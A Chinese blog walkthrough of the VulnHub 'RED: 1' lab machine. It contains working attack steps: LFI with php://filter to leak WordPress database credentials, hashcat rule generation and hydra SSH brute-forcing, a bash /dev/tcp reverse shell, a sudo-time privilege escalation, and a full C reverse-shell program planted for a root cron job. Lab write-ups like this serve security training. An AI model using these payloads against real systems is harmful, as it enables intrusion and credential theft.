首页 > 其他分享 >vulnhub靶场之RED: 1

vulnhub靶场之RED: 1

时间:2022-10-17 09:12:50浏览次数:66  
标签:文件 shell http base64 vulnhub txt 靶场 php RED

准备:

攻击机:虚拟机kali、本机win10。

靶机:RED: 1,地址我这里设置的桥接,,下载地址:https://download.vulnhub.com/red/Red.ova,下载后直接VirtualBox打开,如果使用vm打开可能会存在ip问题。

涉及的知识点:hashcat碰撞、shell反弹、权限提升、dns解析、文件包含、ssh登录时的口令爆破。

信息收集:

先扫描以下网段内的主机ip,获取下靶机的ip地址。

使用nmap扫描靶机开放端口对应的具体服务信息,命令:nmap -T4 -sV -p- -A 172.20.10.3,发现apache、wordpress版本等信息。

使用目录扫描工具对目录进行扫描,这里使用的是dirmap,命令:python dirmap.py -i http://172.20.10.3/ -lcf,发现robots.txt、readme.html、license.txt、wp-admin.php等文件。

发现了一个站点地图,尝试进行访问,但是访问失败,后面又在:http://172.20.10.3/wp-admin.php发现搜索下的提示,但是搜索后跳转到:http://redrocks.win/?s=1仍是失败,但是发现均是指向了域名:redrocks.win,后面又在http://172.20.10.3/wp-admin.php的源码中发现dns-prefetch,然后想到了设置dns解析。

win:打开C:\Windows\System32\drivers\etc\hosts文件,添加:172.20.10.3 redrocks.win,linux:修改/etc/hosts文件,然后访问:http://redrocks.win/成功进入界面,这里加了三个ip,第一个连手机热点获得的ip,后两个连家里网获得的ip,在家里搞得时候靶机崩了一次,导致靶机得数据库一直启动不了,只能重装,然后ip就变了。后面两个是后加的,开始想着手机开热点就能搞完呢。

在主界面进入到http://redrocks.win/2021/10/24/hello-world/,检查源代码时发现:Maybe you should ask Mr. Miessler for help,百度了以下,发现是一个github上有这个的信息。

查找后门文件:

那就下载下来爆破字典,然后在kali中使用gobuster进行爆破,命令:gobuster dir -u http://192.168.1.13 -w CommonBackdoors-PHP.fuzz.txt,CommonBackdoors-PHP.fuzz.txt文件在SecLists-master\Discovery\Web-Content下面,注意替换地址或者使用域名进行爆破,获取到NetworkFileManagerPHP.php文件。

返回的状态码为500,表示服务器运行错误,因此这里应该是需要传递一个参数,那就需要对参数名进行爆破,这里继续使用下载的字典,使用bp的爆破模块加载burp-parameter-names.txt进行爆破,burp-parameter-names.txt文件在SecLists-master\Discovery\Web-Content下面,获得传递的参数名称key(emmm 调整了key的顺序,不然不知道得到什么时候才能出来,前面一次把靶机给扫崩了...,观察返回数据包得长度就可以)。

确定参数名称后传递参数值进行测试,发现这里是一个文件包含漏洞,http://redrocks.win/NetworkFileManagerPHP.php?key=../../../../../etc/passwd。

通过伪协议先读取下NetworkFileManagerPHP.php文件,命令:http://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/read=convert.base64-encode/resource=NetworkFileManagerPHP.php(读取php文件需要使用base64进行加密),对获得base64字符串进行解密获得源码信息。

base64加密字符串:

PD9waHAKICAgJGZpbGUgPSAkX0dFVFsna2V5J107CiAgIGlmKGlzc2V0KCRmaWxlKSkKICAgewogICAgICAgaW5jbHVkZSgiJGZpbGUiKTsKICAgfQogICBlbHNlCiAgIHsKICAgICAgIGluY2x1ZGUoIk5ldHdvcmtGaWxlTWFuYWdlclBIUC5waHAiKTsKICAgfQogICAvKiBWR2hoZENCd1lYTnpkMjl5WkNCaGJHOXVaU0IzYjI0bmRDQm9aV3h3SUhsdmRTRWdTR0Z6YUdOaGRDQnpZWGx6SUhKMWJHVnpJR0Z5WlNCeWRXeGxjdz09ICovCj8

源码信息:

<?php
   $file = $_GET['key'];
   if(isset($file))
   {
       include("$file");
   }
   else
   {
       include("NetworkFileManagerPHP.php");
   }
   /* VGhhdCBwYXNzd29yZCBhbG9uZSB3b24ndCBoZWxwIHlvdSEgSGFzaGNhdCBzYXlzIHJ1bGVzIGFyZSBydWxlcw== */
?

源码中得base64字符串信息:

That password alone won't help you! Hashcat says rules are rules

读取下wp-config.php的文件信息,命令:http://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/read=convert.base64-encode/resource=wp-config.php,获得base64加密的wp-config.php文件进行解密,获得mysql的账户名和密码:john/R3v_m4lwh3r3_k1nG!!

base64字符串信息:

PD9waHANCi8qKg0KICogVGhlIGJhc2UgY29uZmlndXJhdGlvbiBmb3IgV29yZFByZXNzDQogKg0KICogVGhlIHdwLWNvbmZpZy5waHAgY3JlYXRpb24gc2NyaXB0IHVzZXMgdGhpcyBmaWxlIGR1cmluZyB0aGUgaW5zdGFsbGF0aW9uLg0KICogWW91IGRvbid0IGhhdmUgdG8gdXNlIHRoZSB3ZWIgc2l0ZSwgeW91IGNhbiBjb3B5IHRoaXMgZmlsZSB0byAid3AtY29uZmlnLnBocCINCiAqIGFuZCBmaWxsIGluIHRoZSB2YWx1ZXMuDQogKg0KICogVGhpcyBmaWxlIGNvbnRhaW5zIHRoZSBmb2xsb3dpbmcgY29uZmlndXJhdGlvbnM6DQogKg0KICogKiBNeVNRTCBzZXR0aW5ncw0KICogKiBTZWNyZXQga2V5cw0KICogKiBEYXRhYmFzZSB0YWJsZSBwcmVmaXgNCiAqICogQUJTUEFUSA0KICoNCiAqIEBsaW5rIGh0dHBzOi8vd29yZHByZXNzLm9yZy9zdXBwb3J0L2FydGljbGUvZWRpdGluZy13cC1jb25maWctcGhwLw0KICoNCiAqIEBwYWNrYWdlIFdvcmRQcmVzcw0KICovDQovLyAqKiBNeVNRTCBzZXR0aW5ncyAtIFlvdSBjYW4gZ2V0IHRoaXMgaW5mbyBmcm9tIHlvdXIgd2ViIGhvc3QgKiogLy8NCi8qKiBUaGUgbmFtZSBvZiB0aGUgZGF0YWJhc2UgZm9yIFdvcmRQcmVzcyAqLw0KZGVmaW5lKCAnREJfTkFNRScsICd3b3JkcHJlc3MnICk7DQoNCi8qKiBNeVNRTCBkYXRhYmFzZSB1c2VybmFtZSAqLw0KZGVmaW5lKCAnREJfVVNFUicsICdqb2huJyApOw0KDQovKiogTXlTUUwgZGF0YWJhc2UgcGFzc3dvcmQgKi8NCmRlZmluZSggJ0RCX1BBU1NXT1JEJywgJ1Izdl9tNGx3aDNyM19rMW5HISEnICk7DQoNCi8qKiBNeVNRTCBob3N0bmFtZSAqLw0KZGVmaW5lKCAnREJfSE9TVCcsICdsb2NhbGhvc3QnICk7DQoNCi8qKiBEYXRhYmFzZSBDaGFyc2V0IHRvIHVzZSBpbiBjcmVhdGluZyBkYXRhYmFzZSB0YWJsZXMuICovDQpkZWZpbmUoICdEQl9DSEFSU0VUJywgJ3V0ZjgnICk7DQoNCi8qKiBUaGUgRGF0YWJhc2UgQ29sbGF0ZSB0eXBlLiBEb24ndCBjaGFuZ2UgdGhpcyBpZiBpbiBkb3VidC4gKi8NCmRlZmluZSggJ0RCX0NPTExBVEUnLCAnJyApOw0KDQpkZWZpbmUoJ0ZTX01FVEhPRCcsICdkaXJlY3QnKTsNCg0KZGVmaW5lKCdXUF9TSVRFVVJMJywgJ2h0dHA6Ly9yZWRyb2Nrcy53aW4nKTsNCmRlZmluZSgnV1BfSE9NRScsICdodHRwOi8vcmVkcm9ja3Mud2luJyk7DQoNCi8qKiNAKw0KICogQXV0aGVudGljYXRpb24gdW5pcXVlIGtleXMgYW5kIHNhbHRzLg0KICoNCiAqIENoYW5nZSB0aGVzZSB0byBkaWZmZXJlbnQgdW5pcXVlIHBocmFzZXMhIFlvdSBjYW4gZ2VuZXJhdGUgdGhlc2UgdXNpbmcNCiAqIHRoZSB7QGxpbmsgaHR0cHM6Ly9hcGkud29yZHByZXNzLm9yZy9zZWNyZXQta2V5LzEuMS9zYWx0LyBXb3JkUHJlc3Mub3JnIHNlY3JldC1rZXkgc2VydmljZX0uDQogKg0KICogWW91IGNhbiBjaGFuZ2UgdGhlc2UgYXQgYW55IHBvaW50IGluIHRpbWUgdG8gaW52YWxpZGF0ZSBhbGwgZXhpc3RpbmcgY29va2llcy4NCiAqIFRoaXMgd2lsbCBmb3JjZSBhbGwgdXNlcnMgdG8gaGF2ZSB0byBsb2cgaW4gYWdhaW4uDQogKg0KICogQHNpbmNlIDIuNi4wDQogKi8NCmRlZmluZSgnQVVUSF9LRVknLCAgICAgICAgICcydXVCdmM4U081ez5Vd1E8XjVWNVtVSEJ3JU59LUJ3V3F3fD48KkhmQndKKCAkJiUsKFpiZy9qd0ZrUkhmfnZ8Jyk7DQpkZWZpbmUoJ1NFQ1VSRV9BVVRIX0tFWScsICAnYWh9PElgNTJHTDZDXkB

源码信息:

<?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the web site, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * MySQL settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://wordpress.org/support/article/editing-wp-config-php/
 *
 * @package WordPress
 */
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );

/** MySQL database username */
define( 'DB_USER', 'john' );

/** MySQL database password */
define( 'DB_PASSWORD', 'R3v_m4lwh3r3_k1nG!!' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );

/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

define('FS_METHOD', 'direct');

define('WP_SITEURL', 'http://redrocks.win');
define('WP_HOME', 'http://redrocks.win');

/**#@+
 * Authentication unique keys and salts.
 *
 * Change these to different unique phrases! You can generate these using
 * the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
 *
 * You can change these at any point in time to invalidate all existing cookies.
 * This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define('AUTH_KEY',         '2uuBvc8SO5{>UwQ<^5V5[UHBw%N}-BwWqw|><*HfBwJ( $&%,(Zbg/jwFkRHf~v|');
define('SECURE_AUTH_KEY',  'ah}<I`52GL6C^@

发现数据库的账号和密码想起来查看/etc/passwd时存在一个john账户,那就使用ssh协议尝试登录以下,但是登录失败,然后又想起来了:That password alone won't help you! Hashcat says rules are rules,那就需要使用hashcat进行碰撞了,因为这些源码中的信息加密方式采用的base64,因此选择base64的规则进行碰撞,如果这里遇到问题,可以去https://www.intel.com/content/www/us/en/developer/tools/opencl-cpu-runtime/overview.html下载该文件进行解压,然后执行./install.sh即可,命令:hashcat --stdout pass.txt -r /usr/share/hashcat/rules/best64.rule > result.txt。

使用解出的密码通过hydra进行ssh爆破,命令:hydra -l john -P result.txt ssh://192.168.1.2,或者超级弱口令检查工具等均可,获得密码:R3v_m4lwh3r3_k1nG!!00。

使用ssh登录靶机,账号和密码:john/R3v_m4lwh3r3_k1nG!!0

登录成功时发现的问题:

1、连接每过一段时间会自动断开,并且会修改密码,因此我们可以自己反弹一个shell到kali上。kali开启6688端口的监听:nc -lvvp 6688,shell界面执行:bash -i >& /dev/tcp/192.168.1.12/6688 0>&1。

2、发现cat命令和vi命令进行了互换。

提权:

在home下发现ippsec、oxdf文件夹下的user.txt,但是均无权访问。

输入命令:sudo -l,查看到ippsec不需要密码就提权的命令有time

切换ippsec账户,命令:sudo -u ippsec /usr/bin/time /bin/bash,然后查看user.txt文件。

因为我们的shell一直被断开,严重影响我们的操作,因此我们使用ippsec账户反弹一个shell,这样当原ssh连接断开时,我们的shell就不会被断开了,这里注意cat和vi命令互换了,前面有提到,记得用:python3 -c 'import pty;pty.spawn("/bin/bash")'升级以下。

下面这里可以看到左侧的shell已经被关闭了,但通过ippsec账户反弹的shell还可以正常使用。

查找下ippsec账户所拥有权限的文件,发现了.git文件,命令:find / -group ippsec -type d 2>/dev/null | grep -v proc.

在.git文件里发现可执行程序rec并进行执行

查看了下目录下文件的所有者,发现是rev文件、supersecretfileuc.c文件具有root权限,然后想到了替换.c文件的内容,通过,c文件创建反弹root权限的shell,然后等待rcv执行调用supersecretfileuc.c完成root权限shell的反弹。

1、删除rev文件和supersecretfileuc.c文件,rm rev和rm supersecretfileuc.c。

2、在攻击机中开启9001端口的监听,命令:nc -lvvp 9001。

3、在靶机/var/www/wordpress/.git目录下创建supersecretfileuc.c并写入c语言反弹shell的脚本,命令:cat supersecretfileuc.c。

这里等待rev自动执行即可,手动执行是不行的。

c语言的反弹shell的脚本可以在https://www.revshells.com/网站生成,脚本内容如下:

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int main(void){
    int port = 9001;
    struct sockaddr_in revsockaddr;

    int sockt = socket(AF_INET, SOCK_STREAM, 0);
    revsockaddr.sin_family = AF_INET;       
    revsockaddr.sin_port = htons(port);
    revsockaddr.sin_addr.s_addr = inet_addr("192.168.1.12");

    connect(sockt, (struct sockaddr *) &revsockaddr, 
    sizeof(revsockaddr));
    dup2(sockt, 0);
    dup2(sockt, 1);
    dup2(sockt, 2);

    char * const argv[] = {"sh", NULL};
    execve("/bin/sh", argv, NULL);

    return 0;       
}

在root下发现red留下的后门文件,删除就可以夺回控制权了。

闲着无聊查看了一下后门文件信息,发现就是对上面替换的supersecretfileuc.c文件进行编译,然后并执行生成的文件。

我们的开始的shell一直被踢掉是因为kill_sess.sh文件杀掉了john账户的所有进程,因此我们使用ippsec账户创建shell的时候就不会被踢掉了。

在日志里发现执行后门代码的记录,命令:vi /var/log/syslog,也查看了定时任务:vim /etc/crontab。

使用命令:crontab -l可以查看执行后门文件的定时任务,这里也是导致我们ssh连接断开和返回干扰信息的根本原因,如下:

标签:文件,shell,http,base64,vulnhub,txt,靶场,php,RED
From: https://www.cnblogs.com/upfine/p/16783668.html

相关文章

  • docker安装tomcat、mysql、redis
    一、tomcat1.下载tomcat8dockerpulltomcat:8.5.612.启动容器(-d后台启动)dockerrun-d-p8080:8080tomcat:8.5.61 3.访问首页http://ip:8080/访问不到......
  • CF1681D Required Length
    CF1681DRequiredLength-洛谷|计算机科学教育新生态(luogu.com.cn)注意到,选用\(0\)或\(1\)这两种数位相乘的操作是没有任何用处的,所以下面的操作直接过滤掉这两......
  • PreparedStatement对象
    PreparedStatement可以防止SQL注入。效率更高!1、新增packagecom.hua.lesson03;importcom.hua.lesson02.utils.JdbcUtils;importjava.sql.Connection;importjav......
  • Docker基础知识 (16) - 部署 Redis 集群
    Redis是一个开源的使用ANSIC语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value的NoSQL数据库,并提供多种语言的API。大型网站为了提高站点响应速度,使用......
  • 基于redis的查询业务缓存实现
    添加缓存业务流程及代码实现业务流程说明:1、先从redis中进行查询,redis中如果有对应的数据则直接返回;如果没有再进入数据库查询2、从数据库查询到的数据判断是否为空......
  • 数据库学习笔记04- redis
    5,Redis基础redis--KV数据库--内存--单线程+异步i/o(多路io复用)计算密集型应用:多进程+多进程IO密集型应用:单线程+异步IO(协程)2008年--redis--》REmote......
  • Redis学习笔记
    基础篇-02.初识Redis-认识NoSQL_哔哩哔哩_bilibili,参考黑马程序员出品的Redis教程,感谢黑马!基础篇一、Redis入门1.认识NoSQL1.1 什么是NoSQLNoSQL最常见的解释是"n......
  • Centos7部署redis三节点哨兵集群,添加布隆过滤器
    目录Centos7部署redis三节点哨兵集群,添加布隆过滤器一、环境准备1.1、服务器准备1.2、依赖安装二、部署redis2.1、安装redis2.2、修改配置文件2.3、加入systemctl管理三、......
  • Redis数据结构之字符串
    目录Redis数据结构之字符串添加获取修改删除判断一个key是否存在查看过期时间设置过期时间合并set和ex合并set和px判断一个key是否存在,存在则忽略,不存在则创建合并set和nx......
  • Redis数据结构之列表
    目录Redis数据结构之列表查看命令帮助创建列表从左边插入元素从右边插入数据若list存在,则从左边依次追加元素,不存在则忽略若list存在,则从右边依次追加元素,不存在则忽略从li......